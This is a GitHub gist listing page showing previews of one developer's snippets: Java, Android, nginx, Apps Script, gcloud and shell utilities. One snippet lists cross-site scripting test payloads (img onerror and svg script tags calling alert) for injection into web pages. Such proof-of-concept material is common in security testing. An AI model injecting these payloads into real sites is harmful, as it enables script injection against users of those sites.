Skip to content

Instantly share code, notes, and snippets.

@TomTasche
TomTasche / JUrlExpander.java
Created July 25, 2011 14:40
How To: Expand a shortened URL in Java
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
/**
* http://blog.tomtasche.at/2011/07/how-to-expand-shortened-url-in-java.html
*
* @author Thomas Taschauer
*
@TomTasche
TomTasche / AndroidManifest.xml
Last active May 11, 2023 20:00
OAuth flow using the AccountManager on Android
<!-- ... -->
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.USE_CREDENTIALS" />
<!-- ... -->
@TomTasche
TomTasche / nginx.conf
Last active January 27, 2023 21:22
config for nginx to proxy a specific path to an S3 bucket
# copied from default config
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
@TomTasche
TomTasche / appsscript.js
Last active February 10, 2022 09:51
Remove access for user from multiple files on Google Drive - https://blog.tomtasche.at/2018/02/remove-user-from-multiple-documents.html
function main() {
findSharedDocuments("tomtasche@gmail.com");
}
function findSharedDocuments(email) {
var files = DriveApp.searchFiles('("' + email + '" in readers OR "' + email + '" in writers) AND NOT ("' + email + '" in owners)');
var success = 0;
while (files.hasNext()) {
var file = files.next();
try {
@TomTasche
TomTasche / feedback_android.java
Created October 21, 2012 12:22
Use built-in feedback mechanism on Android
// more information here: http://blog.tomtasche.at/2012/10/use-built-in-feedback-mechanism-on.html
try {
int i = 3 / 0;
} catch (Exception e) {
ApplicationErrorReport report = new ApplicationErrorReport();
report.packageName = report.processName = getApplication()
.getPackageName();
report.time = System.currentTimeMillis();
report.type = ApplicationErrorReport.TYPE_CRASH;
@TomTasche
TomTasche / clone.sh
Created August 1, 2021 20:10
Recreating boot disk of a live instance from last snapshot on Google Cloud Platform
# stop instance
gcloud compute instances stop YOURINSTANCE --zone=YOURZONE
# remove boot disk from instance
gcloud compute instances detach-disk YOURINSTANCE --zone=YOURZONE --disk YOURDISK
# delete old boot disk
gcloud compute disks delete YOURDISK --zone=YOURZONE
# find last snapshot
@TomTasche
TomTasche / chrome-remote-desktop-session
Created July 20, 2021 13:51
Chrome Remote Desktop to Ubuntu Server
# install ubuntu-desktop
# follow https://cloud.google.com/architecture/chrome-desktop-remote-on-compute-engine
# put this in /etc/chrome-remote-desktop-session
export GNOME_SHELL_SESSION_MODE=ubuntu
export XDG_CURRENT_DESKTOP=ubuntu:GNOME
export XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
exec env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
depending on your specific scenario you might want to try to inject one of those:
<img onerror="window.alert('hey')" src="bla"/>
<svg><script>alert&#40/hey/.source&#41</script></svg>
<img onerror="window.onerror=alert;throw 'hey'" src="bla"/>
<script>window.onerror=alert;throw "hey";</script>
inspiration:
@TomTasche
TomTasche / ndk-gdb-remote
Last active May 8, 2018 10:07
ndk-gdb of NDK r9d modified to *always* debug the ":remote"-process of your app
#!/bin/sh
#
# Copyright (C) 2010 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
@TomTasche
TomTasche / test.sh
Created October 19, 2017 12:27
generate random file, send to server and print time
#!/bin/bash
echo "time_total: %{time_total}\n" > curl_format.txt
dd if=/dev/urandom of=data.txt bs=100K count=1
while true; do curl -X POST -w "@curl_format.txt" -d @data.txt -s https://requestb.in/1j4ph411; done;